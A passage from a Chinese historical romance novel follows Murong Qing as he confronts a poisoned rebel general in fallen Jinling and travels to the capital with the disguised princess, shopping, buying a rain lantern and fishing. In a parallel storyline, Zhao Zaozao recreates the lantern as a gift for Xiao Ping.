什么护卫敛气屏息藏树上?
昭早早眨巴眼——但既然肖平说是护卫,那就是护卫没错。每次与肖平相见,她都能多恢复一些记忆,不知今夜又会是何场景。
22. 破金陵
梧桐落叶飘在檐角,书房里墨香盈室,慕容青端坐于书案前展开信笺。
慕容家接连出事之后,身为西北边将的姑父林荣曾多次施以援手,在朝堂中帮衬斡旋。此前二哥离奇失踪,他更是主动上书请求暂代山陵使一职,接替慕容枢督建亥陵。
姑母早逝,膝下无子,故而这位姑父与慕容氏本家走动甚少,更是从未见过慕容青,但慕容青分外敬重他多年来不曾续弦再娶的情义。
如今亥陵竣工在即,尚有些收尾的问题需要定议,慕容青巨细靡遗写在纸上逐一交待,并请姑父核对后快马上报朝廷,以便早日移栽通天藤,连通戌陵,筑成曲水大坝。
等墨干的间隙,慕容青命人取来一方朱漆木盒,并信一同送出。
他打开木盒验看那会儿,公主也欲盖弥彰地偷眼来瞧,松烟墨块在端砚上转得飞快。慕容青好笑,“我信都写完了,你还磨这么多墨干什么?”
公主讷讷停手不吱声,慕容青索性大大方方彻底掀开盒盖给她看,“是不是好奇这是什么?”
盒子里满满一摞五色缎带,茜红、雅青、月白、檀褐、黛蓝,均用细线绗缝了菱形的纹路,质地看起来十分厚实,材料倒不算是多好的丝锦。
公主不明所以看着他,等他说明时澄澈的眼珠像野生的兽,慕容青卖关子的调侃都堆砌到嘴边了,不由得一下子咽回去,据实以告道:
“这是在发生紧急意外时,给地宫看守备用的‘护身符’,有了它们,便可短暂驱逐通天藤。”
公主问,“这是什么东西做的?”
“不重要了,”慕容青黯然道,“反正以后不会再有了。”
徐副将此时换了便装前来,禀报一切准备就绪。慕容青同样是一身布衣打扮,解下腰间令牌放到案桌上,对静候在旁的公主道:
“有劳公主帮我坐镇护陵监,我去一趟便回。”
公主欲言又止,终是点头应下。慕容青分明知道她也想去,但战场上刀剑无眼,他此去只为慕容家家事,没必要牵扯旁人。
如今的金陵城,已被朝廷新增的三路大军团团围住,眼看着破城在即,他必须赶在所有知情人消失之前,弄清楚事情的真相。
破城当日,百姓四散奔逃,慕容青趁乱混进城中,于兵荒马乱中直抵叛军首领许盟所在的鸳鸯楼。
他本不会比纵马的骑兵更快找的人,只是他们都先去了刺史府,没人在意许盟是个戏痴——慕容青早就探明过了,料想此人最后必定在此弃世。
他所得的画像中许盟是个腹大体胖的中年儒将,与眼前披头散发、鸠形鹄面的老者大相径庭,但仔细看眉眼还是一致。
许盟正在台下饮酒,也不管来者何人,又有何意,只兀自唱两句戏词,眼皮都不抬。
慕容青五指紧扣腰间刀柄,颇为艰难才压下满腔的杀意,沉声开口道:“在下慕容青。敢问许将军——”
他握刀的手指节攥得生疼,“为何杀我兄长?”
“原来是你。”许盟枯槁的手指摩挲着酒盏边缘,浑浊的眼瞳慢慢转向他,喉间溢出短促的冷笑,“杀你大哥,是受降的条件。我又有什么办法?”
“斩杀来使,也不过是阵前做的戏码。”
许盟忽然倾身向前,酒气混着古怪的异香扑面而来:“真正传我密旨教我杀你大哥的,是邬家那小子!他许我官复原职,哈哈!”
慕容青后撤半步,日光自漏窗斜劈而下,将他满脸的嫌恶鄙夷映照得分明。
许是这神情刺痛了对面的老匹夫,他猛然掀翻酒案,杯盏瓷器哐当坠地。
“那谋朝篡位的畜生!不过是借刀杀人,利用我罢了。”
许盟踉跄着揪住胸前衣襟,额角青筋虬结,“他心狠手辣,血洗禁宫,我却信这豺狼会守诺!"
“可惜啊!老夫一时糊涂,害了追随我多年的兄弟。”
许盟布满血丝的眼球凸起,渐渐发红:“你们慕容氏不也一样?被那逆贼谋害算计至此,当真忍得下这口气?”
“不如你救我走,”他用枯枝般的手掌啪啪拍向胸口,试图演出一点豪情壮志,“今后我等一道共襄大事,拨乱反正!”
慕容青闻言大笑,笑声直惊起窗外飞鸟——
“哪里有正?先帝无后,宗室正统血脉眼下唯有那人,把他杀了,又将改换谁家天下?莫不是将军想要江山姓许?”
“胡说!”许盟瞪着猩红的眼珠嘶声低吼:“谁说先帝无后!先帝尚有一子,明珠蒙尘,正待我等匡扶英主。”
慕容青审视其神色似乎并非信口开河,但他从未听闻此事,问道:“是谁?”
“事关重大,”许盟喘息着吐出一口浊气,“除非慕容家愿意结盟,否则老夫宁死也不会透露半个字。”
“那便罢了。”慕容青临窗而立,摆明了是一点也不想沾染污浊,“管他是谁,我不在乎。先帝又是什么好东西?”
穿堂风卷起他的衣摆,他冷笑道:“如若不是先帝多年来猜忌打压忠良,宠幸奸佞,他也不会沦落到孤家寡人,随随便便就被人围杀于禁宫的地步。”
“有梁一朝,自太祖之后,子孙一代不如一代,或昏聩,或暴虐,或荏弱,尽皆庸才。无论谁坐上龙椅,都无甚差别。所谓英主,不过太祖一人。”
许盟吐气越来越重,耳朵里渗出血滴,仍是喝道:“可如今你慕容氏已是危如累卵,他要你大哥死,又怎会许你活?”
“没关系,”慕容青摇摇头,“看你命不久矣便让你做个明白鬼——我很快就能完成使命了。”
“什么?”许盟瞳孔骤缩,抖着乌紫的嘴唇颤声问,“你说什么?”
“你的酒里有毒。”慕容青笑道,“这壶酒,是谁拿给将军的?”
“啊啊啊!”许盟喉间发出咯咯异响,猛地喷出一口黑血,“竖子竟敢……”乌黑血线自他七窍蜿蜒而下,在青砖地面绽开狰狞墨梅。
慕容青冷眼看着地上抽搐的人形,心中并无多少松快之感。楼外传来三短一长的鸟鸣,是徐副将传信的哨音,慕容青不再多做停留,转身离去。
更深露重,月光如练。慕容青悄然回山,并不曾想公主会在他营房院外等候,乍看那抹熟悉的素白身影端坐于歩辇,还有些惊喜。
“夜深了,怎么不在屋里等我。”慕容青接过云枝云桠递给他的轻裘袖炉,一甩手随意披
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上,垂眸去看公主被月华镀上银辉的眼睫,美则美矣,下半张脸却看不到。
慕容青不满地轻声嘀咕:“大晚上还戴什么面纱,难道能挡风不成。”
她着这些锦绣罗裙时总是扭捏,唯有扮成李公子才大方。
早知今日,慕容青恨不能重回新婚之夜,把自己多事的嘴缝上。
“你查到你想知道的了吗?”公主好似完全没听见他抱怨,只关切地问,嗓音里裹着霜气。
“晚风凉,进去说。”慕容青特地给了她的侍女们一个制止的眼神,弯腰伸手探向她腿弯,也是好久没逗她了,他心里正盘算着要憋什么坏——
公主左右环视四下无人,竟站起身自己迈步走开了。
吃瘪的慕容青抬腿去追,一拉手将对方冰凉的手指裹进掌心,虽然他的也不太暖,但好歹有个袖炉可以一起握着,慕容青嘴碎道:“你真是越来越粗糙,演都不演了。”
公主或是嫌这样的姿势走路别扭,踏起轻功步法就溜,慕容青技不如人也要比上一比,万一有超卓之展呢。
随后两人险些一齐卡在门框,慕容青暗喜自己的轻功果然有些进步。
他本欲进来便与公主略略交待一些情况,没料到房间内水汽腾腾,屏风后已放好温热的浴桶。
他不禁感慨美人真是人美心也美,知情识趣又温柔体贴,难怪昏君那么多,非不智也,实难自拔。
他被自己的想法逗乐,施施然宽衣解带,卸去一身沾染尘土与血迹的衣物,在温热的水中发出舒服的喟叹。
公主早已躲在帐内,连帐幔都放下,两人早前还是多有堤防,经过这些时日相处,慕容青处得透彻——
公主矜持,防他如防贼,怕他偷看还来不及,断不会偷看于他。
慕容青自然也乐得安心,两人虽同处一室,俨然各有各的世界。
燃烧的灯芯噼啵作响,榻前光影晃动。
慕容青暖意融融,掀开帐幔轻手轻脚钻进自己的锦被,三言两语带过金陵城事态,只最后问道:“所以你可知自己还有什么兄弟没有?”
咫尺之外传来闷声回答:“先皇后悍妒酷烈,且盛宠不衰,历来没有皇子能在后宫中降生。”
“我就知道那老匹夫不过是想活命罢了。”
慕容青发出嗤笑,“也不知是他的哪位亲随要他死,忠信情义在生死权势面前大抵是没什么用。”
“我不会背信。”枕边人睡姿规矩,板正地躺着,板正地说话,声音轻得像落雪,口吻重得像誓言。
“我知道的。”慕容青闭眼翻过身去,“等我……做完该做的事,就会送你走。”
公主半晌没有回应,慕容青差点以为她睡了,自己也觉出些困意,却又听见她轻轻浅浅地提问——“你要做什么?”
“时间还没到。”慕容青打了个大大的哈欠,“睡吧。”
金陵已破,清河坝水域一切正常,两处护陵监由副将们看守即是,慕容青不必在此多作停留,便打算回河西祖地一趟,取通天藤原株。
他近日刚整好一队人马准备上路,不速之客便携着圣旨到了,竟是召他同公主一道回王都,奉移先帝入陵。
23. 沿途
慕容青展开手中明黄诏书看了又看,荒唐地想笑。
宗室尚未死绝,却派他一介外姓驸马去为先帝发引奉安,主持丧仪,当真荒谬。
若那老头泉下有知,为自己扶灵的亲眷唯有一个弃如敝履、早早遣出宫外的女儿,不知是何感想。
那女儿此刻一本正经地坐他边上,眉目似冷玉雕成的神像,也看不出什么悲喜。
慕容青同她商量:“去王都的话,我们得在沿路的大城改换车队,紧豪华的置办。总得让你宝马香车,珠环翠绕才是,免得在朋友跟前失了面子。”
公主摇头表示不用,“我没朋友。”
“……那不是还有道友?”慕容青思索道,“给道友带些什么赠礼合适,你列个单子,我叫人置办。总归要风风光光,我现在别的没有,就身外之物最多。”
公主犹疑道:“会延误行程。”
“怕什么,先帝在安灵殿都待多久了,不差这一时半会。”
慕容青并非粗枝大叶,而是不认为公主会跟这种便宜爹有什么感情,“咱们就在路上多逛些城镇,好好采买,看些没见过的风土人情,只当游乐了。”
公主虽未明言表态,眼神却亮了三分,慕容青知她乐意,也觉期待,原本波谲云诡的前路,都好似不再难行。
在云州城最热闹的雀儿巷,慕容青拽着“李公子”的手腕钻进人堆:“这家的生意这么好,味道肯定不错,咱们尝尝。”
他两指夹着铜板抛给擀饼的摊主,自个儿抢了一块新出炉的脆饼,因为烫手,索性就高高抛向空中,再拿油纸接着,循环往复几番,差点引得路人驻足喝彩。
摸着饼差不多凉了,他掰开半块就往李公子唇边送。
喷香酥脆,他吃着没什么问题,李公子却难得不文雅地‘嘶’了一声,微微张开嘴哈气。
慕容青见状促狭道:“原来你是猫舌头。”
他逗人去了没留意,一不小心踢上路边一筐竹笼,把里面草编的蟋蟀、蝴蝶震落了几只,便又随手掏出铜板买下,自己拿蟋蟀,递给李公子蝴蝶——
结果人家根本不接,跟着人群走到卖艺摊子前,看杂耍艺人将三个铃球在空中抛得团团转,手法与慕容青方才极像,只不过卖艺人更技高一筹,抛得铃铛叮叮咚咚有节奏地响,像一首欢快的乐曲。
李公子回头等他,面上带着轻浅的笑意。
慕容青又买了一包果脯才追上去,尝了一口酸气直冲天灵盖,立刻假作不知往身边人嘴里塞。
对方吃得面不改色,既不咂嘴也没咋舌,慕容青试探着又塞一个,对方还真就张嘴一口叼住了,慕容青暗道:此人喜酸。
香料铺子门口挂着个乌漆嘛黑的大香块,看样子是店里的招牌,慕容青路过嗅着还不错,清新淡雅,是木质香调,问李公子喜不喜欢,对方眼神里流露出疑惑,问是要炖什么肉吗。
慕容青笑得头歪在他肩膀,说大约只能炖人肉,这是泡在浴桶里的。
笑完人又有点难受,堂堂皇家血脉,过的都是什么日子?赶紧进店里挑了几箱最贵的,让掌柜的送到驿馆。
暮色渐起,华灯初上,琼玉楼前姹紫嫣红的姑娘们忽见两位锦衣公子从街巷里转出,一个赛一个的俊俏。
自有胆大的拈着丝帕巧笑倩兮地招呼,嗓音酥软:“好俊俏的小哥哥,进来喝盏桂花酿可好?算是姑娘们送的。”
“送谁可得说清楚,”慕容青笑道,“我还是他?”
“二位都俊,一样送。”
姑娘染着蔻丹的指尖将将伸过来,李公子抿紧薄唇拔腿就走,慕容青早料准似的揪住他后腰带,趁势把人往朱漆门廊里带,“跑什么,带你来买点新鲜货而已。”
李公子浑身僵直,按住他手腕死活不肯挪步,慕容青只好凑近他绷紧的侧脸说悄悄话:“这青楼另有玄机,后面藏着一个很大的黑市,只有月末才开,有暗道可以过去。”
“……”李公子明显松了口气,从牙缝里挤出三个字,“为什么?”
慕容青理直气壮:“市井货买一天了,总该来淘换点真宝贝吧?”
他没答到点子上,所以对方又补问半句:“为何来此?”
“你明面上好歹是我妻子,不能太寒酸了。”真把话挑明慕容青又不好意思,拐弯抹角道。
“街面上的首饰铺子哪有什么珍品,找珠宝行订做时间又来不及,只有这黑市上什么都有,不比宫里的差。”
他也懒得避讳,“银钱到位,比宫里更好的也有。”
姑娘悻悻看这俩断袖黏在一起咬耳朵,倒也识趣的没有贸然靠近。
李公子这下听懂了,万分无奈:“我不在意那些。”
“我知道,素来鲜少见你戴头面。”慕容青耸肩道,“但这里还有很多奇巧异物,只当是长长眼界也好,走嘛,进去看看。”
他说完递给姑娘一枚银锭,“宝瓶雅间。”
“原来是熟客。”姑娘心领神会,笑眯眯福了一礼为他们领路。
“从前是我二哥带我来的,”慕容青边走边解释道,“他喜欢收集些稀奇古怪的机巧物件,跟这黑市的主人也算朋友。”
“嗯。”李公子心不在焉地应声。这里的姑娘穿得轻薄,不知道是不是慕容青的错觉,他好像非常紧张。
都是女子有什么好害羞的?慕容青心中好笑,面上不显,离他挨得又近了一些,几乎是并肩走着。
两人一起穿过九曲回廊绕到后院,又弯过一扇宝瓶洞门,穿入另一栋隐蔽的小楼。
黑市中自是热闹,各类珍宝琳琅满目,不过大抵都是慕容青在挑,李公子闷不吭声跟在后面,像是他的木头侍卫。
出来时慕容青手上多了一方彩绘描金的紫檀妆匣,沉甸甸的装着不少东西。
也亏得他力气大,单手拎着匣子并不费事,另一手还能时不时拨弄身边人提着的彩宝灯笼——
旁的奇珍异宝入不了这位木头人的眼,只这盏会“下雨”的六角灯笼,叫他微微动容。
砗磲壳打磨的灯罩薄而透亮,顶圈悬着一卷卷金丝银线,在点燃特质的香烛后,热气会引着灯笼慢慢旋转,而那些金丝银线淅淅沥沥落下又收回,便好似闪闪发亮的雨点,美轮美奂。
慕容青一看他喜欢,当即便买下了。
“你看,这一趟没白来吧?”说着慕容青很是得意,轻快地往前跳了两步,转身面对李公子倒退着走。
“是不是打着灯笼也找不着这样的灯笼?”
夜色里星河渐亮,映明了对方温柔的眉眼,只听他轻声道:
“谢谢你,阿青。”
慕容青听得怔怔,忽觉脸热,忙转回身去,嗯了一声。
奔袭山河万里的风,却在这一刻变得缱绻,始终未曾扑熄二人间荧荧的烛火。
*
柳临城不算繁华,唯以炼铁、锻造闻名,最多的便是工匠铺子。
慕容青照惯例甩开随侍,带着李公子沿街闲逛,慕名寻到一家老字号的铺面,各类长剑短刀挂了满墙,兼之匕首斧钺,应有尽有,寒光闪闪,煞是威风。
掌柜的是个中年汉子,正低头整理柜台,见有客人上门也不停手,只不咸不淡地随口念叨:“两位公子随便看看,都是上好的物件。”
慕容青反觉稳妥,没点真本事的通常不敢这样做生意。
在铺子里转了一圈,确实个个吹毛断发,锋利无比,但大多是寻常制式,慕容青什么兵器没使过,此处也没什么特别抢眼的令他留心。
忽地,角落里一堆奇形怪状的金属物什吸引了慕容青的目光,他拈起其中一个三头的小弯钩,端详半晌,好奇道:“这是什么暗器?有点像特别小的飞爪钩,莫非是某种袖箭?”
掌柜的还没到,李公子先告诉他了:“这是一种鱼钩,非常精巧。”
“这铺子里还卖鱼钩?”慕容青瞪大眼睛,有些难以置信,“钓鱼把绣花针掰弯不就行了,整这花里胡哨的管用吗?”
“还是这位客官识货,”掌柜的踱步过来,但显然好脸只给懂行的李公子一人看,“这确实是钓鱼钩,咱们柳临城外有个尖陵湖,运气好的话,三尺来长的大鱼也能钓上。”
“客官若是感兴趣,本店还有上好的鱼竿,要不要看看?”
见李公子竟是犹豫而非拒绝,慕容青顿时来了兴致:“鱼竿在哪,拿来瞧瞧。”
掌柜的从柜台后取出两根细长的竹竿,递过去道:“这是上等的插节青竹竿,轻便又结实,配上这鱼钩,保准你们不空手而归。”
李公子接过鱼竿轻轻一甩,竹梢弹出漂亮的弧度。
而慕容青则是随手挽了个枪花,笑道:“还挺顺手。要不我们一会就出城去试试?”
“很费时,”李公子闻言眉头微蹙,“赶路要紧。”
“钓个鱼能耽误多少工夫,”慕容青潇洒地一收竿,“手到擒来的事。”
他分明听到有人低嗤,不是李公子,那就只能是掌柜了。
慕容青睨他一眼,挑眉道,“掌柜的,来两根鱼竿,再将配件装齐了,一起捆好。”
掌柜的白眼归
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白眼,赚钱归赚钱,手上动作分外麻利,又拿出一个小瓷罐递给他们,说是新鲜的活铒,算作添头。
午后的尖陵湖日头正盛,湖面阔如天镜,波光粼粼。两人下马各自取出捆好的渔具,选了块背风向阳处准备垂钓。
慕容青其实不太会摆弄,一直偷眼学着李公子的手法,从尾部穿好饵,抬臂扬手将鱼线抛入水中——
李公子看他一眼,嘴唇微张,到底没说什么,两人就这么持竿静候。
站了半晌,竿尖仍静如死木,慕容青无聊得找话说:“这地方不会没鱼吧?”
“我小时候也是用绣花针钓过鱼的,族里的长辈总说我耐性太差,叫我磨磨性子。”
身边人并未接话,只认真听着。
慕容青习以为常,自己有一搭没一塔地开始闲扯,许是这尖陵湖的风光确实不错,两个人就这么静静的吹着风,也不觉时间难捱。
差不多过去一个时辰,慕容青正欲掷竿去袋里抓点蜜饯来吃,忽觉手腕一沉,竿线吃重,水面倏地漾起波纹,他试着提竿却拽不动线。
“公主!”慕容青一激动,也忘记喊什么李公子了,反正这广阔湖畔也没半个人影,“我这竿拉不动,是不是上大鱼了?”
李公……主淡定地回答:“你线抛得离岸太近,多半是挂底。”
原来刚才那一眼的意思是想告诉他线没甩对,慕容青暗自好笑,这人果然一个表情都不白给。
他试着左右拉动想把钩解出来,线却突然大幅移动,还真是大鱼!
这下已无需多问,公主也看见了,掠至他身边观察道:
“别急,这鱼力道不小,不能直接提竿,否则鱼奋力挣动,线会断。”
“那怎么办?”
“就这样向上勾住它,崩直线,别硬拽,顺着它冲刺的方向倒竿。”
公主快速道,“到头时再偏着往回拉,让鱼始终呈环形游动,像遛马一样,最终把鱼累到脱力,再把它引向岸边。”
慕容青目瞪口呆,说好的少言寡语,怎么钓起鱼来一口气能说这么多话?
那尾大鱼当真凶悍,此刻发力挣扎起来,筋线破水声如裂帛。
慕容青没有经验,转向时险些脱竿,公主当机立断覆身上来——
两人双手交叠,紧紧握着同一根竿子,慕容青循着对方引导的方向一齐使力,竹竿弯成惊心动魄的弧度。
“再往左偏过去一些!”公主低喝道,“线得保持绷直,否则钩尖一松,鱼就能顺势挣脱。"
“竿别提得太高,线绷太紧也会断。”
慕容青啧了一声,松也不行紧也不行,钓个鱼学问这么多,难怪那掌柜的听他说手到擒来要嗤笑两声。
大鱼突然一个摆尾,湖面爆出大片水花,这下两个人都看清了:竟真是条三尺来长的大鱼!
随着身体被鱼拖拽前倾,慕容青只觉背后温热的身躯贴上来,把他连人带竿稳住了向后带,鼻尖萦绕着雪松和柚木混合在一起的味道。
他莫名有些脸红,鱼却不管那些,忽向左窜,两人前胸贴后背;忽向右挣,两人险些搂作一团。
慕容青咬牙切齿地问:“还要溜多久?!”
“这个大小的话,”公主思忖道,“起码得一个时辰。”
慕容青闻言一个趔趄,差点栽水里,要不还是他下去捅鱼一刀更快?
想虽如此想,总不能真往下跳,慕容青努力坚持了半个时辰,鱼再次暴挣,他头上的发带在左摇右摆中渐渐松散,湖风吹开的是跟方才闻到的一样的木调香,跟公主买的香块,他倒也没少用。
慕容青的目光顺着他心中所想扫过去,恰逢公主也看过来,彼时对视刹那,又不约而同地别开脸。
当晚霞遥遥燃在天际时,三尺长的大黑鱼终于瘫软无力地被他们拉向岸边,慕容青背心微湿,倒不全是费力所致。
他刚想要提竿,公主却道:“越到最后关头,越是容易功亏一篑。”
掌柜的给他们装好的配件袋中正有一张不大不小的网兜,公主对着鱼头罩下去,拉紧束绳,这边慕容青配合着后退,二人合力,终是成功把大鱼弄上岸来。
慕容青很是畅快,就算被鱼甩着尾巴溅了一身泥水,依然开怀大笑,公主也面带笑意,用细麻绳向他展示这么大的鱼要怎么用弓鱼术活着带回去。
临行前,公主洗净了双手帮他重新束发,慕容青看着水边自己披头散发的倒影,后知后觉有些紧张,但又很快释然。
他相信,无论如何,他们都不会再是敌人。
24. 灯笼
“小姐,该起了,老爷和夫人还等您一起用膳。”
好梦由来不愿醒,昭早早一觉睡到日上三竿,被人唤醒时起初不愿意搭理,又忆起今日还可以去见肖平,便一骨碌爬起来,鞋袜乱套,衣裳一批,嚷着饭先不吃了,直往库房奔去。
侍女丈二的和尚摸不着头脑,到底还是向家主如实禀报。
昭早早正翻箱倒柜扒得尘土飞扬,跟她提了点餐食才找过来的昭明见状很是诧异,“你好好的饭不吃,来这吃灰是何道理?”
“叔父,我决定要研习家学。”
昭早早摆出副一本正经的模样,“我记得前几年曾见过一本机巧小物的合集图册,其中有一盏‘雨灯笼’,内嵌银丝可以翻卷,您知道图册放在哪吗?我想好好再看看。”
“怎么突然想起来看那个?”昭明疑惑道,“你不是向来只对瓦石木作营造方面感兴趣吗?”话虽如此,他还是挽起袖子在架子上翻找起来。
不一会,他找到那本图册,自己先怀念地翻看一番,才递给昭早早道:“这都是你爷爷当年为海商造的些玲珑巧物,件件个头虽小,却精巧不凡,很是卖得上价钱。”
“像这盏雨灯笼,光是将完整的砗磲壳打磨成光滑透亮的薄片,便造价不菲,罔论金银线,鲛油膏,都不是一般的富贵人家能买得起的。””
“是啊,这一盏要卖三千两呢,爷爷能赚不少吧?”
昭早早边翻书边随口问道,“难怪这些物件大多包含珍珠、珊瑚类的材料,都是由海商供应的对吗,是哪家?”
“你怎么清楚价钱?我都不知道。”
昭明当她是信口开河,也没当真,答道:“沧澜港闵家,二十年前可是海商第一世家,如今虽则不如当年,到底瘦死的骆驼比马大。”
又是闵家?昭早早眉头一皱,一时倒也想不起来和如今的事能有什么牵扯。
或许就是巧合吧,正如前世慕容青送出去的灯笼正好是昭家所作一样,今生倒叫她捡了个巧,原样复制恐怕不行,但大差不差捣鼓个替代品还不算难
昭早早踌躇满志,当下又在库房捡了些上好材料,去昭家工坊开工。
油膏好代替,金银也有,砗磲是不用想了,就算能寻到,也没那时间和手艺打磨。
不如就用两层薄油纸,中间夹上透明的鱼鳔胶,牢不牢固的不讲究了,总归能使用一阵子图个好看就行,坏了她还可以再做新的。
昭早早心里成算是好,十个指头却表示非常为难,一个时辰过去,大果紫檀损耗的比用上的还多,她勉勉强强才做好灯笼骨架。翻开图册仔细一看——
这还只是第一步。
莫非今天去不成了?!昭早早不甘心,望了眼还悬挂在头顶的日头,决定奋力拼搏一把。
这一拼直拼到月上中天,昭家砖窑炉火未熄,昭明大为感动,吩咐任何人不得打扰小姐专注家学。
这下连个送饭的都没有,好在昭早早也没空吃。
临近子时她提着灯笼摸到肖府后门外,鬼鬼祟祟地徘徊,活像做贼。
昨日答应肖平要敲门的,可这个时辰怕是下人都已经睡下,她把下人敲醒倒也没什么,就怕夜深人静传音广,连带着把肖平一块敲醒。
关键是不知道肖平此刻到底歇息了没,万一他挑灯夜读呢?
养伤之人白天睡多了晚上睡不着也是很有可能的,毕竟她前世深有体会,无聊时半夜偷偷把玩公主头发的好事没少干。
忖度半晌,昭早早还是旋身攀上院墙。答应他敲门,但是没答应他不翻墙啊!她大可以先攀上去看看再决定要不要敲门,如果肖平睡下了,她就明日再来便是。
再者说,她现在骑在墙上,只要不翻过去,就连翻墙都不算。
后院不大,她一眼就望见肖平的屋子还亮着灯,忍俊不禁嘀咕道,“真是天助我也。”
她这边还未动,暗哨倒是先动了,从树影中也跳上院墙,对她低声道:“公子刚歇下,勿要搅扰。”
昭早早打量面前一身黑衣的暗哨,半边面具遮脸,看身量还是个少年人。“可我见他屋里的灯还点着?”
“公子不喜昏暗,夜里惯常留灯。”对方道,“请明日再来。”
前世公主并不怕黑,从没有点灯而眠的习惯。
到底往事如梦,因缘更迭,昭早早点点头,并不算意外。
她看这暗哨的半张脸总觉得眼熟,好像在哪见过。兴许他白日的身份是肖平的小厮、书童一类,所以她才会有点印象?
昭早早想了想,把雨灯笼递过去道:“劳烦你帮我转交给你家公子,如果他半夜起来如厕,正好用得着。”
“……”暗哨不接,说:“那我还怎么藏树上?”
“也是。”昭早早嘴角一抽,“辛苦了,将军府的活还挺多的。”
正说着,不远处房间里灯影闪动,暗哨蓦地跳走,随着门吱呀一声打开,肖平裹了大氅出来,朝他们的方向唤道:“早早。”
昭早早骑墙难下,尴尬地应声:“在……我去敲门?”
“不必了。”肖平无奈地摇头,“怎的来这么晚?”
“做东西耽搁了。”
昭早早兴高采烈跳下墙,她做的灯笼三箍密实防风得很,这么点动静自然不会熄,反而那紫檀竖骨遇火生香,温润的暖息顺着气眼袅袅逸散,与流光溢彩的灯围相得益彰。
“就是这个,送给你。”
肖平微微错愕,不由自主接住昭早早递来的灯笼杆,目光停留在她指尖,“你的手……?”
“不碍事。”昭早早笑嘻嘻收回手,正待自夸几句,肚子却不合时宜地咕噜噜猛叫起来。
真是哪壶不开提哪壶,她暗骂自己不争气的五脏庙,讪讪道:“时辰不早,你好好歇息,我先走了。”
肖平青色的袍角在灯笼下漾开暖光,“我房里有糕点。”
“要吃。”昭早早回应得不假思索,喜滋滋跟着肖平跨进门槛才意识到——这个时辰孤男寡女共处一室会否不妥?
梦里跟这张脸朝夕相处得习惯,一时也没想太多……那便不想了,横竖她坦坦荡荡,身正不怕影子斜。
肖平把灯笼挂在窗边木架上,暖黄光晕漫过红木小几,屋子里更显敞亮,白瓷碟里规规矩矩码着四块精致的糕点,虽说不多,垫垫肚子倒也足够。
昭早早刚捏起一块酥皮点心塞嘴里,旁边肖平就把青瓷药罐搁上了案几,看样子是要先静候她吃完——
那她怎么好意思,忙换成左手拿点心,把受伤的右手自然而然伸过去。
肖平旋开药罐,同样是半句也没有多说,虚虚托住她手腕,温热的指尖蘸着药膏细心涂抹。
昭早早后知后觉想到另一种情况:有没有可能肖平刚才只是把药罐放在那里,让她吃完自己涂?
昭早早窘然想抽回手,肖平握实她手腕道:“别动。
既来之则安之吧,昭早早只好若无其事继续吃,上好药肖平便倒了两杯茶,她正噎得慌,端起杯子仰头一饮而尽,肖平茶壶都还没放下,就又替她续了杯水。
四块点心囫囵下肚,昭早早这才开始反思:下次不能再饿着肚子来了,多少有点不识礼数。
“为何做这个送我?”
听到肖平低语,昭早早恍然回神,反问他:“你喜欢吗?”
肖平颔首,昭早早注意到他脖颈动了两次,证明应该是真的喜欢,不然只会动一次。这个细节让她很高兴,“那就好,因为我猜你可能会喜欢。”
这个回答显然令肖平不解,他低垂的眼睫在灯影下投出蝶翼般的阴影,看得
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昭早早心漏跳一拍,找补道:
“其实是我最近在研习家学,看到些有意思的东西就顺带练练手而已。我想你在家静养或许无趣,有些玩意解闷也好。左右都是些家里用剩下的边角料,你不必在意。”
谁家金银香檀都成边角料了,这瞎话说得她自个都有些心虚,忙转移话题:
“我还看到一种很好玩的珍珠鸟,用最轻的泡桐木做骨架,展开翅膀能飞,收叠不过巴掌大,下次做好了带给你。”
肖平摇头道,“先养伤。”
“我这点划伤两三天便好。”
昭早早摆了摆她涂着药的手,“倒是你,伤势怎么样?”说来也巧,刚问完她鼻端就嗅到极淡的血腥味,明明刚进屋时还没有这个味道。
不等肖平回答,昭早早豁然起身,抱歉道:“每次我来你就洇血,看来我是真的搅扰你休养,对不住,最近我便不来了,你好生歇息。”
不等他说是因为他肯定会说自己没事,肖平这样的人断不会责怪心怀善意之人,但她不能假作不知。
院外更夫的打更声恰时传来,昭早早拱手示别,肖平抿了抿唇道:“夜深,我叫人送你。”
如果是肖平说要送她,昭早早肯定不能答应,但眼前的少年暗哨还是可以在路上聊一聊打发时间的。
借着明亮的月色,昭早早再次审视起他的半张侧脸,确信道:“我不久前一定见过你。”
主要是太久远的话她多半没印象。
“不可能。”对方同样笃定,“我一向藏得很好。”
昭早早不信自己会看走眼,“你白天没有装成小厮侍奉公子吗?”
对方明晃晃甩来个眼刀,意思应该是‘难道我不用睡觉的吗’,昭早早心说也对,看他半点黑眼圈没有的样子,想来肖平也不是个压榨人的主。
当晚,昭早早睡下时月已西沉,梦中慕容青和宁平公主一行浩浩荡荡抵达王都,端的是玄甲映日,银鞍裁光,少年将士勒马朱门,满城秋风好似带刃。
若仅是这般气派,还不致使街头巷尾争相谈论——概因慕容青特地束发抹额,好好装扮了一番,引得无数闺阁少女攥碎绢花;
而宁平公主稳坐于七宝香车之内,风过处锦帘微扬,只描出她轻纱蒙面的侧脸,让众多文人骚客遐想连篇。
临时的驿馆容纳不下如此众多车驾,慕容青便重金购置偌大宅院,连原主的管事、仆从一并纳了,只看不上护院,由他军中好手把守里外,尤其是公主厢房,水泼不进。
“你这样大张旗鼓,是担心我们在王都会遭人暗算吗?”公主问。
明枪易躲,暗箭总归难防,有时把光点得再亮些,反能叫暗中之人有所忌惮。
房里没有外人,她颇不习惯地上下摘取满身金珠翠玉的首饰,慕容青被她笨手笨脚的模样逗笑,直道:“怎么会,我就不能纯显摆吗?”
他伸手帮忙,公主倒挺配合,偏头任他施为。
慕容青一时兴起,飞速摸了一把对方颊边软肉道:“你脸上根本没有胎记,这青斑是画的吧?”
公主躲闪不及,面色不愉,但还是老实回答:“是。”
“怕我对你欲行不轨?”慕容青不禁调侃。
公主淡然道:“在宫中,从小便画了。”
慕容青帮她卸下发簪,无意碰散了一缕青丝,便就绕到耳后别着,“等你我以后远离王城,便不必再遮遮掩掩,怕这怕那。”
“明日我们俩一道进宫,无论发生什么,我都会护你周全。”
这些话纯是心念所至,慕容青说出口时并未多想,说完之后还不待公主如何反应,自己先会意过来,一阵赧然。
他们这样还真就像是寻常夫妻……只是,纸终究包不住火,他亦不知,自己还能这样骗她到几时?
25. 鸿门宴
金銮殿上冗长的任命慕容青听得心不在焉,殿外宁平公主还候在九曲廊下,他不由担心她歩辇处可还避风,等的时间太久,会不会肚饿。
“臣领旨。”朗声回完这三个字,慕容青半点废话都不想多说。本就是走个过场,多说无益的场面戏,成败如何,还要看最后行事。
“退朝——”掌事太监拖长声调道。
